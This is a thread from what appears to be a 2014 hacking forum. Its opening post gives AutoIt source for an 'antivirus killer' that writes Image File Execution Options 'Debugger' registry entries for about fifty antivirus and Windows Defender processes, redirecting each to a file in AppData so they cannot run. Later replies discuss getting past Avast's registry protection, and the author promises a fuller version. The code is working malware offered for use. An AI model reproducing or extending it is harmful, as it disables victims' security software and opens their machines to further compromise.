autoit av killer - ๒lคςк ςคt - Oct 21, 2014
so i coded a unique func whats kill all av over the regedt (image file execute Options)
here is the code:
Code func _avKill()
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgamsvr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgupsvc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgw.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcc32.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgserv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgserv9.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgserv9schedapp.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgemc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashwebsv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashdisp.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashmaisv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashserv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswUpdSv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\symwsc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\norton.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Norton Auto-Protect.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\norton_av.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nortonav.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccsetmgr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccevtmgr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avadmin.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcenter.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgnt.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avguard.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avnotify.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avscan.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\guardgui.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32krn.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32kui.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamscan.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamTray.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamWin.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\freshclam.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\oladdin.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sigtool.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\w9xpopen.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wclose.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmgrdian.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\alogserv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vshwin32.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconsol.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsstat.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avsynmgr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcmd.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconfig.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\licmgr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sched.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\preupd.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
EndFunc
dont ask for help if you dont know how use it
* - Bяαiиiαc™ - Oct 21, 2014
Good job, but not found with Avast.
//Thanks.
* - ๒lคςк ςคt - Oct 22, 2014
(Oct 21, 2014 07:09 PM)Bяαiиiαc™ Wrote: Good job, but not found with Avast.
//Thanks.
send me the process name from avast i will add it (you can add it too)
* - Bяαiиiαc™ - Oct 22, 2014
"AvastUI.exe" But it has protection to write on the register if the antivirus is installed.
PD: Sorry for my bad english.
//Regards.
* - ๒lคςк ςคt - Oct 22, 2014
(Oct 22, 2014 03:23 PM)Bяαiиiαc™ Wrote: "AvastUI.exe" But it has protection to write on the register if the antivirus is installed.
PD: Sorry for my bad english.
//Regards.
are you german ?
and does it protect the regestry ?
may kill it first and then add it to regestry
* - Bяαiиiαc™ - Oct 23, 2014
(Oct 22, 2014 03:29 PM)GSOmega Wrote: are you german ?
and does it protect the regestry ?
may kill it first and then add it to regestry
No, I'm spanish. Yes. You cannot kill it, need Ring0.
//Regards.
* - labbepierre - Nov 4, 2014
thank you for share your job dude !!
* - zelles - Nov 6, 2014
Nice work putting together that list!
* - Complexious - Nov 25, 2014
Nice job! Does this kill all of the popular AVs, or are there still some that don't get killed? I saw someone say it doesn't work for Avast, is that fixed yet?
* - ๒lคςк ςคt - Nov 25, 2014
(Nov 25, 2014 04:46 PM)Complexious Wrote: Nice job! Does this kill all of the popular AVs, or are there still some that don't get killed? I saw someone say it doesn't work for Avast, is that fixed yet?
Some avs dont work because they protect the registy
but with some google you know how to kill avast
i may realese a new source
thats kill all
|
